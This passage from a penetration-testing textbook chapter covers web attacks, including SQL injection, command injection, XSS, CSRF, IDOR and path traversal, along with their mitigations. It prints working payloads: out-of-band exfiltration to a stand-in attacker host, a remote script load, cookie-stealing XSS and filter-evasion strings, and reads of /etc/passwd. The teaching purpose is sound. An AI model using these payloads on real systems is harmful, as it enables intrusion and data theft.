The Boolean technique is typically used in blind SQL injection attacks. In blind SQL injection vulnerabilities, the vulnerable application typically does not return an SQL error, but it could return an HTTP 500 message, a 404 message, or a redirect. It is possible to use Boolean queries against an application to try to understand the reason for such error codes.

Figure 6-14 shows an example of a blind SQL injection using the DVWA intentionally vulnerable application.

A screenshot of the DVWA web application depicts a blind SQL injection attack.
FIGURE 6-14 Example of a Blind SQL Injection Attack

Tip

Try this yourself by downloading DVWA from http://www.dvwa.co.uk or WebGoat from https://github.com/WebGoat/WebGoat.

Understanding Out-of-Band Exploitation

The out-of-band exploitation technique is very useful when you are exploiting a blind SQL injection vulnerability. You can use database management system (DBMS) functions to execute an out-of-band connection to obtain the results of the blind SQL injection attack. Figure 6-15 shows how an attacker could exploit a blind SQL injection vulnerability in store.h4cker.org. Then the attacker forces the victim server to send the results of the query (compromised data) to another server (malicious.h4cker.org).

An example of an Out-of-Band Attack.
FIGURE 6-15 Example of an Out-of-Band Attack

The malicious SQL string is as follows:

https://store.h4cker.org/buyme.php?id=8||UTL_HTTP.request('malicious.
h4cker.org')||(SELECT user FROM DUAL)--

In this example, the attacker is using the value 8 combined with the result of Oracle’s function UTL_HTTP.request.

Tip

To perform this attack you can set up a web server such as NGNIX or Apache or use Netcat to start a listener (for example, nc -lvp 80). One of the most common uses of Netcat for penetration testing involves creating reverse and bind shells. A reverse shell is a shell initiated from the victim’s system to the attacker. A bind shell is set up on the victim and “binds” to a specific port to listen for an incoming connection from the attacker. A bind shell is often referred to as a backdoor.

For cheat sheets that can help you get familiar with different useful commands and utilities (including Netcat), see http://h4cker.org/cheat. You will learn more about Netcat and reverse and bind shells in Chapter 8, “Performing Post-Exploitation Techniques.”

Exploring the Time-Delay SQL Injection Technique

When trying to exploit a blind SQL injection, the Boolean technique is very helpful. Another trick is to also induce a delay in the response, which indicates that the result of the conditional query is true.

Note

The time-delay technique varies from one database type/vendor to another.

The following is an example of using the time-delay technique against a MySQL server:

https://store.h4cker.org/buyme.php?id=8 AND IF(version() like '8%',
sleep(10), 'false'))--

In this example, the query checks whether the MySQL version is 8.x and then forces the server to delay the answer by 10 seconds. The attacker can increase the delay time and monitor the responses. The attacker could even set the sleep parameter to a high value since it is not necessary to wait that long, and then just cancel the request after a few seconds.

Surveying a Stored Procedure SQL Injection

A stored procedure is one or more SQL statements or a reference to an SQL server. Stored procedures can accept input parameters and return multiple values in the form of output parameters to the calling program. They can also contain programming statements that execute operations in the database (including calling other procedures).

If an SQL server does not sanitize user input, it is possible to enter malicious SQL statements that will be executed within the stored procedure. The following example illustrates the concept of a stored procedure:

Create procedure user_login @username varchar(20), @passwd
varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring = '
Select 1 from users Where username = ' + @username + ' and passwd =
' + @passwd exec(@sqlstring) Go

By entering omar or 1=1’ somepassword in a vulnerable application where the input is not sanitized, an attacker could obtain the password as well as other sensitive information from the database.

Note

In Chapter 9 you will learn about tools such as Burp Suite, BeEF, and SQLmap, that can help automate the assessment of a web application and help you find SQL injection vulnerabilities.

Image
Understanding SQL Injection Mitigations

Input validation is an important part of mitigating SQL injection attacks. The best mitigation for SQL injection vulnerabilities is to use immutable queries, such as the following:

  • Static queries

  • Parameterized queries

  • Stored procedures (if they do not generate dynamic SQL)

Immutable queries do not contain data that could get interpreted. In some cases, they process the data as a single entity that is bound to a column without interpretation.

The following are two examples of static queries:

select * from contacts;
select * from users where user = "omar";

The following is an example of parameterized queries:

String query = "SELECT * FROM users WHERE name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, username);
ResultSet results = statement.executeQuery();

Tip

OWASP has a great resource that explains the SQL mitigations in detail; see: https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet.

The OWASP Enterprise Security API (ESAPI) is another great resource. It is an open source web application security control library that allow organizations to create lower-risk applications. ESAPI provides guidance and controls that mitigate SQL injection, XSS, CSRF, and other web application security vulnerabilities that rely on input validation flaws. You can obtain more information about ESAPI from https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API.

Image

HTML Injection Vulnerabilities

An HTML injection is a vulnerability that occurs when an unauthorized user is able to control an input point and able to inject arbitrary HTML code into a web application. Successful exploitation could lead to disclosure of a user’s session cookies; an attacker might do this to impersonate a victim or to modify the web page or application content seen by the victims.

Note

HTML injection vulnerabilities can lead to cross-site scripting (XSS). You will learn details about the different types of XSS vulnerabilities and attacks later in this chapter.

Image

Command Injection Vulnerabilities

A command injection is an attack in which an attacker tries to execute commands that he or she is not supposed to be able to execute on a system via a vulnerable application. Command injection attacks are possible when an application does not validate data supplied by the user (for example, data entered in web forms, cookies, HTTP headers, and other elements). The vulnerable system passes that data into a system shell.

With command injection, an attacker tries to send operating system commands so that the application can execute them with the privileges of the vulnerable application.

Note

Command injection is not the same as code execution and code injection, which involve exploiting a buffer overflow or similar vulnerability.

Command injection against web applications is not as popular as it used to be, since modern application frameworks have better defenses against these attacks. Figure 6-16 shows an example of command injection using the DVWA intentionally vulnerable application.

In Figure 6-16, the website allows a user to enter an IP address to perform a ping test to that IP address, but the attacker enters the string 192.168.78.6;cat /etc/passwd to cause the application to show the contents of the file /etc/passwd.

A screenshot of the DVWA web application depicts a command injection vulnerability.
FIGURE 6-16 Example of a Command Injection Vulnerability

Note

OWASP provides a good reference on how command injection works; see https://www.owasp.org/index.php/Command_Injection.

Exploiting Authentication-Based Vulnerabilities

An attacker can bypass authentication in vulnerable systems by using several methods. The following are the most common ways to take advantage of authentication-based vulnerabilities in an affected system:

  • Credential brute forcing

  • Session hijacking

  • Redirecting

  • Exploiting default credentials

  • Exploiting weak credentials

  • Exploiting Kerberos

Exploring Credential Brute Forcing

Image

In a credential brute-force attack, the attacker attempts to log in to an application or a system by trying different usernames and passwords. There are two major categories of brute-force attacks:

  • Online brute-force attacks: In this type of attack, the attacker actively tries to log in to the application directly by using many different combinations of credentials. Online brute-force attacks are easy to detect because you can easily inspect for large numbers of attempts by an attacker.

  • Offline brute-force attacks: In this type of attack, the attacker can gain access to encrypted data or hashed passwords. These attacks are more difficult to prevent and detect than online attacks. However, offline attacks require significantly more computation effort and resources from the attacker.

Image

The strength of user and application credentials have a direct effect on the success of brute-force attacks. Weak credentials is one of the major causes of credential compromise. The more complex and the longer a password (credential), the better. An even better approach is to use multifactor authentication (MFA). The use of MFA significantly reduces the probability of success for these types of attacks.

An attacker may feed to an attacking system a word list containing thousands of words in order to crack passwords or associated credentials.

Tip

The following site provides links to millions of real-world passwords: http://wordlists.h4cker.org.

Weak cryptographic algorithms (such as RC4, MD5, and DES) allow attackers to easily crack passwords. Table 6-2 includes a list of weak and recommended cryptographic algorithms.

Image

Table 6-2 Weak and Recommended Cryptographic Algorithms

Algorithm

Operation

Recommendation

DES

Encryption

Avoid

3DES

Encryption

Legacy

RC4

Encryption

Avoid

AES-CBC mode

AES-GCM mode

Encryption

Authenticated encryption

Acceptable

DH-768, DH-1024

RSA-768, RSA-1024

DSA-768, DSA-1024

Key exchange

Encryption

Authentication

Avoid

DH-2048

RSA-2048

DSA-2048

Key exchange

Encryption

Authentication

Acceptable

DH-3072

RSA-3072

DSA-3072

Key exchange

Encryption

Authentication

Acceptable

MD5

Integrity

Avoid

SHA-1

Integrity

Legacy

SHA-256

SHA-384

SHA-512

Integrity

Acceptable

HMAC-MD5

Integrity

Avoid

HMAC-SHA-1

Integrity

Legacy

HMAC-SHA-256

Integrity

Acceptable

ECDH-256

ECDSA-256

Key exchange

Authentication

Acceptable

ECDH-384

ECDSA-384

Key exchange

Authentication

Acceptable

Attackers can also use statistical analysis and rainbow tables against systems that improperly protect passwords with a one-way hashing function. A rainbow table is a precomputed table for reversing cryptographic hash functions and for cracking password hashes. Such tables can be used to accelerate the process of cracking password hashes. The original rainbow table research and related functions can be accessed at https://lasec.epfl.ch/~oechslin/projects/ophcrack/.

Tip

For a list of publicly available rainbow tables, see http://project-rainbowcrack.com/table.htm.

In addition to weak encryption or hashing algorithms, poorly designed security protocols such as Wired Equivalent Privacy (WEP) introduce avenues of attack to compromise user and application credentials. Also, if hashed values are stored without being rendered unique first (that is, without a salt), it is possible to gain access to the values and perform a rainbow table attack.

An organization should implement techniques on systems and applications to throttle login attempts and prevent brute-force attacks. Those attempts should also be logged and audited.

Image

Understanding Session Hijacking

A web session is a sequence of HTTP request and response transactions between a web client and a server. The process includes the steps illustrated in Figure 6-17.

The steps involved in the process of high-level web session are listed one below the other as follows: Pre-authentication, Authentication, Session management, Access control, and Session finalization. Each step points to the next step below it.
FIGURE 6-17 A Web Session High-Level Process

A large number of web applications keep track of information about each user for the duration of the web transactions. Several web applications have the ability to establish variables such as access rights and localization settings. These variables apply to each and every interaction a user has with the web application for the duration of the session. For example, Figure 6-18 shows Wireshark being used to collect a packet capture of a web session to cnn.com. You can see the different elements of a web request (such as GET) and the response. You can also see localization information (Raleigh, NC) in a cookie.

A screenshot shows a Packet Capture of a Web Session.
FIGURE 6-18 A Packet Capture of a Web Session

As you learned earlier in this chapter, applications can create sessions to keep track of users before and after authentication.

Once an authenticated session has been established, the session ID (or token) is temporarily equivalent to the strongest authentication method used by the application, such as username and password, one-time password, client-based digital certificate, and so on.

Note

A good resource that provides a lot of information about application authentication is the OWASP Authentication Cheat Sheet, available at https://www.owasp.org/index.php/Authentication_Cheat_Sheet.

In order to keep the authenticated state and track users’ progress, applications provide users with a session ID, or token. This token is assigned at session creation time and is shared and exchanged by the user and the web application for the duration of the session. The session ID is a name/value pair.

There are multiple mechanisms available in HTTP to maintain session state within web applications, such as cookies (in the standard HTTP header), URL parameters and rewriting (defined in RFC 3986), and URL arguments on GET requests. Application developers also use body arguments on POST requests. For example, they can use hidden form fields (HTML forms) or proprietary HTTP headers.

One of the most widely used session ID exchange mechanisms is cookies. Cookies offer advanced capabilities not available in other methods. Figure 6-19 illustrates session management and the use of cookies.

An illustration of session management and the use of cookies.
FIGURE 6-19 Session Cookies

The session ID names used by the most common web application development frameworks can be easily fingerprinted. For example, it is possible to easily fingerprint the following development frameworks and languages by the following session ID names:

  • PHP: PHPSESSID

  • J2EE: JSESSIONID

  • ColdFusion: CFID and CFTOKEN

  • ASP .NET: ASP.NET_SessionId

Tip

It is recommended to change the default session ID name of the web development framework to a generic name, such as id. The session ID must be long enough to prevent brute-force attacks. Sometimes developers set it to just a few bits, but the session ID must be at least 128 bits (16 bytes). Also, the session ID must be unique and unpredictable. It’s a good idea to use a cryptographically secure pseudorandom number generator (PRNG) because the session ID value must provide at least 256 bits of entropy.

Sometimes the session ID is included in the URL. This dangerous practice can lead to the manipulation of the ID or session fixation attacks.

Web development frameworks such as ASP .NET, PHP, and Ruby on Rails, provide their own session management features and associated implementation.

Tip

It is recommended to use these built-in frameworks rather than building your own from scratch since they have been tested by many people. Unfortunately, when you perform pen testing, you are likely to find people trying to create their own frameworks.

This is pretty obvious, but you have to remember to encrypt an entire web session with HTTPS—not only for the authentication process where the user credentials are exchanged but also to ensure that the session ID is exchanged only through an encrypted channel. Using an encrypted communication channel also protects the session against some session fixation attacks, in which the attacker is able to intercept and manipulate the web traffic to inject (or fix) the session ID on the victim’s web browser.

There are two types of cookies: non-persistent (or session) cookies and persistent cookies. If a cookie has a Max-Age or Expires attribute, it is considered a persistent cookie and is stored on disk by the web browser until the expiration time.

Configuring a cookie with the HTTPOnly flag forces the web browser to have this cookie processed only by the server, and any attempt to access the cookie from client-based code or scripts is strictly forbidden. This protects against several type of attacks, including CSRF.

Tip

Modern applications typically track users after authentication by using non-persistent cookies. This forces the session information to be deleted from the client if the current web browser instance is closed. This is why it is important to use nonpersistent cookies: so the session ID does not remain on the web client cache for long periods of time. In addition, this is why it is important to validate and verify session IDs, as covered earlier in this chapter.

There are several ways an attacker can perform a session hijack and several ways a session token may be compromised:

  • Predicting session tokens: This is why it is important to use non-predictable tokens, as previously discussed in this section.

  • Session sniffing: This can occur through collecting packets of unencrypted web sessions.

  • Man-in-the-middle attack: With this type of attack, the attacker sits in the path between the client and the web server.

  • Man-in-the-browser attack: This attack is similar in approach to a man-in-the-middle attack; however, in this case, a browser (or an extension or a plugin) is compromised and used to intercept and manipulate web sessions between the user and the web server.

If web applications do not validate and filter out invalid session ID values, they can potentially be used to exploit other web vulnerabilities, such as SQL injection (if the session IDs are stored on a relational database) or persistent XSS (if the session IDs are stored and reflected back afterward by the web application).

Note

XSS is covered later in this chapter.

Image

Understanding Redirect Attacks

Unvalidated redirects and forwards are vulnerabilities that an attacker can use to attack a web application and its clients. The attacker can exploit such vulnerabilities when a web server accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. The attacker can modify the untrusted URL input and redirect the user to a malicious site to either install malware or steal sensitive information.

It is also possible to use unvalidated redirect and forward vulnerabilities to craft a URL that can bypass application access control checks. This, in turn, allows an attacker to access privileged functions that he or she would normally not be permitted to access.

Note

Unvalidated redirect and forward attacks often require a little bit of social engineering.

Image

Taking Advantage of Default Credentials

A common adage in the security industry is “Why do you need hackers, if you have default passwords?” Many organizations and individuals leave infrastructure devices such as routers, switches, wireless access points, and even firewalls configured with default passwords.

Attackers can easily identify and access systems that use shared default passwords. It is extremely important to always change default manufacturer passwords and restrict network access to critical systems. A lot of manufacturers now require users to change the default passwords during initial setup, but some don’t.

Attackers can easily obtain default passwords and identify Internet-connected target systems. Passwords can be found in product documentation and compiled lists available on the Internet. An example is http://www.defaultpassword.com, but there are dozens of other sites that contain default passwords and configurations on the Internet. It is easy to identify devices that have default passwords and that are exposed to the Internet by using search engines such as Shodan (https://www.shodan.io).

Image

Exploiting Kerberos Vulnerabilities

In Chapter 5, “Exploiting Wired and Wireless Networks,” you learned that one of the most common attacks against Windows systems is the Kerberos golden ticket attack. An attacker can use such an attack to manipulate Kerberos tickets based on available hashes. The attacker only needs to compromise a vulnerable system and obtain the local user credentials and password hashes. If the system is connected to a domain, the attacker can identify a Kerberos ticket-granting ticket (KRBTGT) password hash to get the golden ticket.

Another weakness in Kerberos implementations is the use of unconstrained Kerberos delegation, a feature that allows an application to reuse the end-user credentials to access resources hosted on a different server. Typically, you should only allow Kerberos delegation on an application server that is ultimately trusted. However, this could have negative security consequences if abused, and so Active Directory has Kerberos delegation turned off by default.

Note

Refer to Chapter 5 for additional information on the Kerberos authentication process and the flaws mentioned here.

Exploiting Authorization-Based Vulnerabilities

Two of the most common authorization-based vulnerabilities are parameter pollution and Insecure Direct Object Reference vulnerabilities. The following sections provide details about these vulnerabilities.

Image

Understanding Parameter Pollution

HTTP parameter pollution (HPP) vulnerabilities can be introduced if multiple HTTP parameters have the same name. This issue may cause an application to interpret values incorrectly. An attacker may take advantage of HPP vulnerabilities to bypass input validation, trigger application errors, or modify internal variable values.

Note

HPP vulnerabilities can lead to server- and client-side attacks.

An attacker can find HPP vulnerabilities by finding forms or actions that allow user-supplied input. Then the attacker can append the same parameter to the GET or POST data—but with a different value assigned.

Consider the following URL

https://store.h4cker.org/?search=carsThis URL has a query string called search and the parameter value cars. The parameter might be hidden among several other parameters. An attacker could leave the current parameter in place and append a duplicate, as shown here:

https://store.h4cker.org/?search=cars&results=20

The attacker could then append the same parameter with a different value and submit the new request:

https://store.h4cker.org/?search=cars&results=20&search=bikes

After submitting the request, the attacker can analyze the response page to identify whether any of the values entered were parsed by the application. Sometimes it is necessary to send three HTTP requests for each HTTP parameter. If the response from the third parameter is different from the first one—and the response from the third parameter is also different from the second one—this may be an indicator of an impedance mismatch that could be abused to trigger HPP vulnerabilities.

Tip

The OWASP Zed Attack Proxy (ZAP) tool can be very useful in finding HPP vulnerabilities. It can be downloaded from https://github.com/zaproxy/zaproxy. In Chapter 9, you will learn more about the OWASP ZAP tool.

Image

Exploiting Insecure Direct Object Reference Vulnerabilities

Insecure Direct Object Reference vulnerabilities can be exploited when web applications allow direct access to objects based on user input. Successful exploitation could allow attackers to bypass authorization and access resources that should be protected by the system (for example, database records, system files). This vulnerability occurs when an application does not sanitize user input and does not perform appropriate authorization checks.

An attacker can take advantage of Insecure Direct Object References vulnerabilities by modifying the value of a parameter used to directly point to an object. In order to exploit this type of vulnerability, an attacker needs to map out all locations in the application where user input is used to reference objects directly.

Let’s go over a few examples on how to take advantage of this type of vulnerabilities. The following example shows how the value of a parameter can be used directly to retrieve a database record:

https://store.h4cker.org/buy?customerID=1188

In this example, the value of the customerID parameter is used as an index in a table of a database holding customer contacts. The application takes the value and queries the database to obtain the specific customer record. An attacker may be able to change the value 1188 to another value and retrieve another customer record.

In the following example, the value of a parameter is used directly to execute an operation in the system:

https://store.h4cker.org/changepassd?user=omar

In this example, the value of the user parameter (omar) is used to have the system change the user’s password. An attacker can try other usernames and see if it is possible to modify the password of another user.

Tip

Mitigations for this type of vulnerability include input validation, the use of per-user or session indirect object references, and access control checks to make sure the user is authorized for the requested object.

Understanding Cross-Site Scripting (XSS) Vulnerabilities

Cross-site scripting (commonly known as XSS) vulnerabilities, which have become some of the most common web application vulnerabilities, are achieved using the following attack types:

  • Reflected XSS

  • Stored (persistent) XSS

  • DOM-based XSS

Successful exploitation could result in installation or execution of malicious code, account compromise, session cookie hijacking, revelation or modification of local files, or site redirection.

Note

The results of XSS attacks are the same regardless of the vector.

You typically find XSS vulnerabilities in the following:

  • Search fields that echo a search string back to the user

  • HTTP headers

  • Input fields that echo user data

  • Error messages that return user-supplied text

  • Hidden fields that may include user input data

  • Applications (or websites) that displays user-supplied data

The following example demonstrates an XSS test that can be perform from a browser’s address bar:

javascript:alert("Omar_s_XSS test");
javascript:alert(document.cookie);

The following example demonstrates an XSS test that can be performed in a user input field in a web form:

<script>alert("XSS Test")</script>

Tip

Attackers can use obfuscation techniques in XSS attacks by encoding tags or malicious portions of the script using Unicode so that the link or HTML content is disguised to the end user browsing the site.

Image

Reflected XSS Attacks

Reflected XSS attacks (non-persistent XSS) occur when malicious code or scripts are injected by a vulnerable web application using any method that yields a response as part of a valid HTTP request. An example of a reflected XSS attack is a user being persuaded to follow a malicious link to a vulnerable server that injects (reflects) the malicious code back to the user’s browser. This causes the browser to execute the code or script. In this case, the vulnerable server is usually a known or trusted site.

Tip

Examples of methods of delivery for XSS exploits are phishing emails, messaging applications, and search engines.

Figure 6-20 illustrates the steps in a reflected XSS attack.

An illustration of a Reflected XSS Attack.
FIGURE 6-20 A Reflected XSS Attack

The following steps are illustrated in Figure 6-20:

Step 1. The attacker finds a vulnerability in the web server.

Step 2. The attacker sends a malicious link to the victim.

Step 3. The attacker clicks on the malicious link, and the attack is sent to the vulnerable server.

Step 4. The attack is reflected to the victim and is executed.

Step 5. The victim sends information (depending on the attack) to the attacker.

Tip

You can practice XSS scenarios with WebGoat. You can easily test a reflected XSS by using the following link (replacing localhost with the hostname or IP address of the system running WebGoat): http://localhost:8080/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=<script>alert(‘some_javascript’)</script>4128+3214+0002+1999&field2=111.

Image

Stored XSS Attacks

Stored, or persistent, XSS attacks occur when the malicious code or script is permanently stored on a vulnerable or malicious server, using a database. These attacks are typically carried out on websites hosting blog posts (comment forms), web forums, and other permanent storage methods. An example of a stored XSS attack is a user requesting the stored information from the vulnerable or malicious server, which causes the injection of the requested malicious script into the victim’s browser. In this type of attack, the vulnerable server is usually a known or trusted site.

Figure 6-21 and Figure 6-22 illustrate a stored XSS attack. Figure 6-21 shows that a user has entered the string <script>alert(“Omar was here!”)</script> in the second form field in DVWA.

A screenshot of the DVWA web application depicts a stored XSS attack.
FIGURE 6-21 A Stored XSS Attack in a Web Form

After the user clicks the Sign Guestbook button, the dialog box shown in Figure 6-22 appears. The attack persists because even if the user navigates out of the page and returns to that same page, the dialog box continues to pop up.

A screenshot of the DVWA web application depicting a persistent XSS attack shows a pop-up message box reading “Omar was here!” along with an OK button.
FIGURE 6-22 A Persistent (Stored) XSS Attack

In this example, the dialog box message is “Omar was here!” However, in a real attack, an attacker might present users with text persuading them to perform a specific action, such as “your password has expired” or “please log in again.” The goal of the attacker in this case is to redirect the user to another site to steal his or her credentials when the user tries to change the password or once again log in to the fake application.

Image

DOM-Based XSS Attacks

The Document Object Model (DOM) is a cross-platform and language-independent application programming interface that treats an HTML, XHTML, or XML document as a tree structure. DOM-based attacks are typically reflected XSS attacks that are triggered by sending a link with inputs that are reflected to the web browser. In DOM-based XSS attacks, the payload is never sent to the server. Instead, the payload is only processed by the web client (browser).

In a DOM-based XSS attack, the attacker sends a malicious URL to the victim and after the victim clicks on the link; it may load a malicious website or a site that has a vulnerable DOM route handler. After the vulnerable site is rendered by the browser, the payload executes the attack in the user’s context on that site.

One of the effects of any type of XSS attack is that the victim typically does not realize that an attack has taken place.

Image

Tip

DOM-based applications use global variables to manage client-side information. Often developers create unsecured applications that put sensitive information in the DOM (for example, tokens, public profile URLs, private URLs for information access, cross-domain OAuth values, and even user credentials as variables). It is a best practice to avoid storing any sensitive information in the DOM when building web applications.

Image

XSS Evasion Techniques

Numerous techniques can be used to evade XSS protections and security products such as web application firewalls (WAFs). One of the best resources that includes dozens of evasion XSS evasion techniques is the OWASP XSS Filter Evasion Cheat Sheet (see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet).

Instead of listing all the different evasion techniques outlined by OWASP, this section reviews some of the most popular techniques.

First, let’s take a look at an XSS JavaScript injection that would be detected by most XSS filters and security solutions:

<SCRIPT SRC=http://malicious.h4cker.org/xss.js></SCRIPT>

The following example shows how the HTML img tag can be used in several ways to potentially evade XSS filters:

<img src="javascript:alert('xss');">
<img src=javascript:alert('xss')>
<img src=javascript:alert(&quot;XSS&quot;)>
<img src=javascript:alert('xss')>

It is also possible to use other malicious HTML tags (such as <a> tags), as demonstrated here:

<a onmouseover="alert(document.cookie)">This is a malicious link</a>
<a onmouseover=alert(document.cookie)>This is a malicious link</a>

An attacker may also use a combination of hexadecimal HTML character references to potentially evade XSS filters, as demonstrated here:

<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&
#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

The use of US ASCII encoding may bypass many content filters and can also be used as an evasion technique, but it works only if the system transmits in US ASCII encoding, or if it is manually set. This technique is useful against web application firewalls (WAFs). The following example demonstrates the use of US ASCII encoding to evade WAFs:

¼script¾alert(¢XSS¢)¼/script¾

The following example demonstrates an evasion technique that involves using the HTML embed tags to embed a Scalable Vector Graphics (SVG) file:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdod
D0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+
YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"
AllowScriptAccess="always"></EMBED>

Tip

The OWASP XSS Filter Evasion Cheat Sheet (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) includes dozens of additional examples of evasion techniques.

Image

XSS Mitigations

One of the best resources that lists several mitigations against XSS attacks and vulnerabilities is the OWASP Cross-Site Scripting Prevention Cheat Sheet, available at https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet.

The following are general rules for preventing XSS attacks, according to OWASP:

  • Use an auto-escaping template system.

  • Never insert untrusted data except in allowed locations.

  • Use HTML escape before inserting untrusted data into HTML element content.

  • Use attribute escape before inserting untrusted data into HTML common attributes.

  • Use JavaScript escape before inserting untrusted data into JavaScript data values.

  • Use CSS escape and strictly validate before inserting untrusted data into HTML-style property values.

  • Use URL escape before inserting untrusted data into HTML URL parameter values.

  • Sanitize HTML markup with a library such as ESAPI to protect the underlying application.

  • Prevent DOM-based XSS by following OWASP’s recommendations at https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet.

  • Use the HTTPOnly cookie flag.

  • Implement content security policy.

  • Use the X-XSS-Protection response header.

You should also convert untrusted input into a safe form, where the input is displayed as data to the user. This prevents the input from executing as code in the browser. To do this, perform the following HTML entity encoding:

  • Convert & to &amp;.

  • Convert < to &lt;.

  • Convert > to &gt;.

  • Convert “ to &quot;.

  • Convert ‘ to &#x27;.

  • Convert / to &#x2F;.

The following are additional best practices for preventing XSS attacks:

  • Escape all characters (including spaces but excluding alphanumeric characters) with the HTML entity &#xHH; format (where HH is a hex value).

  • Use URL encoding only to encode parameter values, not the entire URL or path fragments of a URL.

  • Escape all characters (except for alphanumeric characters), with the uXXXX Unicode escaping format (where X is an integer).

  • CSS escaping supports XX and XXXXXX, so add a space after the CSS escape or use the full amount of CSS escaping possible by zero-padding the value.

  • Educate users about safe browsing to reduce the risk that they will be victims of XSS attacks.

XSS controls are now available in modern web browsers.

Understanding Cross-Site Request Forgery Attacks

Image

Cross-site request forgery (CSRF or XSRF) attacks occur when unauthorized commands are transmitted from a user that is trusted by the application. CSRF attacks are different from XSS attacks because they exploit the trust that an application has in a user’s browser.

Note

CSRF vulnerabilities are also referred to as “one-click attacks” or “session riding.”

CSRF attacks typically affect applications (or websites) that rely on a user’s identity. Attackers can trick the user’s browser into sending HTTP requests to a target website. An example of a CSRF attack is a user authenticated by the application by a cookie saved in the browser unwittingly sending an HTTP request to a site that trusts the user, subsequently triggering an unwanted action.

Figure 6-23 shows an example of a CSRF attack using the DVWA vulnerable application.

A screenshot of the DVWA web application depicts a CSRF attack.
FIGURE 6-23 CSRF Example

In Figure 6-23, a web form is displayed, asking the user to change a password. If you take a closer look at the URL in Figure 6-23, you see that it contains the parameters password_new=test&password_conf=test&Change=Change#. Not only is the password displayed in the URL after the user has entered it in the web form, but because the application allows this, an attacker can easily send a crafted link to any user to change his or her password, as shown here:

http://192.168.78.8:66/vulnerabilities/csrf/?password_
new=newpasswd&password_conf= newpasswd &Change=Change#

If the user follows this link, his or her password will be changed to newpasswd.

Note

CSRF mitigations and defenses are implemented on the server side. The paper located at the following link provides several techniques to prevent or mitigate CSRF vulnerabilities: http://seclab.stanford.edu/websec/csrf/csrf.pdf.

Image

Understanding Clickjacking

Clickjacking involves using multiple transparent or opaque layers to induce a user into clicking on a web button or link on a page that he or she was not intended to navigate or click. Clickjacking attacks are often referred to as “UI redress attacks.” User keystrokes can also be hijacked using clickjacking techniques. An attacker can launch a clickjacking attack by using a combination of CSS stylesheets, iframes, and text boxes to fool the user into entering information or clicking on links in an invisible frame that can be rendered from a site the attacker created.

According to OWASP, the following are the two most common techniques for preventing and mitigating clickjacking:

  • Send the proper content security policy (CSP) frame ancestors directive response headers to instruct the browser to not allow framing from other domains. (This replaces the older X-Frame-Options HTTP headers.)

  • Use defensive code in the application to make sure the current frame is the top-level window.

Note

The OWASP Clickjacking Defense Cheat Sheet provides additional details about how to defend against clickjacking attacks. The cheat sheet can be accessed at https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet.

Exploiting Security Misconfigurations

Attackers can take advantage of security misconfigurations, including directory traversal vulnerabilities and cookie manipulation.

Image

Exploiting Directory Traversal Vulnerabilities

A directory traversal vulnerability (often referred to as path traversal) can allow attackers to access files and directories that are stored outside the web root folder.

Note

Directory traversal has many names, including “dot-dot-slash,” “directory climbing,” and “backtracking.”

It is possible to exploit path traversal vulnerabilities by manipulating variables that reference files with dot-dot-slash (../) sequences and its variations or by using absolute file paths to access files on the vulnerable system. An attacker can obtain critical and sensitive information when exploiting directory traversal vulnerabilities.

Figure 6-24 shows an example of how to exploit a directory traversal vulnerability.

A screenshot of the DVWA web application depicts exploiting a directory traversal vulnerability.
FIGURE 6-24 Exploiting a Directory (Path) Traversal Vulnerability

Figure 6-24 shows the following URL being used:

http://192.168.78.8:66/vulnerabilities/fi/?page=../../../../../etc/passwd

The vulnerable application shows the contents of the /etc/passwd file to the attacker.

It is possible to use URL encoding as demonstrated in the following example to exploit directory (path) traversal vulnerabilities:

%2e%2e%2f is the same as ../
%2e%2e/ is the same as ../
..%2f is the same as ../
%2e%2e%5c is the same as ..

An attacker can also use several other combinations of the encoding demonstrated in Example 6-31—for example, operating system–specific path structures such as / in Linux or Mac OS X systems and in Windows.

The following are a few best practices for preventing and mitigating directory traversal vulnerabilities:

  • Understand how the underlying operating system processes filenames provided by a user or an application.

  • Never store sensitive configuration files inside the web root directory.

  • Prevent user input when using file system calls.

  • Prevent users from supplying all parts of the path. You can do this by surrounding the user input with your path code.

  • Perform input validation by only accepting known good input.

Image

Understanding Cookie Manipulation Attacks

Cookie manipulation attacks are often referred to as stored DOM-based attacks (or vulnerabilities). Cookie manipulation is possible when vulnerable applications store user input and then embed that input in a response within a part of the DOM. this input is later processed in an unsafe manner by a client-side script. An attacker can use a JavaScript string (or other scripts) to trigger the DOM-based vulnerability. Such scripts can write controllable data into the value of a cookie.

An attacker can take advantage of stored DOM-based vulnerabilities to create a URL that sets an arbitrary value in a user’s cookie.

Note

The impact of a stored DOM-based vulnerability depends on the role that the cookie plays within the application.

Tip

A best practice for avoiding cookie manipulation attacks is to avoid dynamically writing to cookies using data originating from untrusted sources.

Exploiting File Inclusion Vulnerabilities

The sections that follow explain the details about local and remote file inclusion vulnerabilities.

Image

Local File Inclusion Vulnerabilities

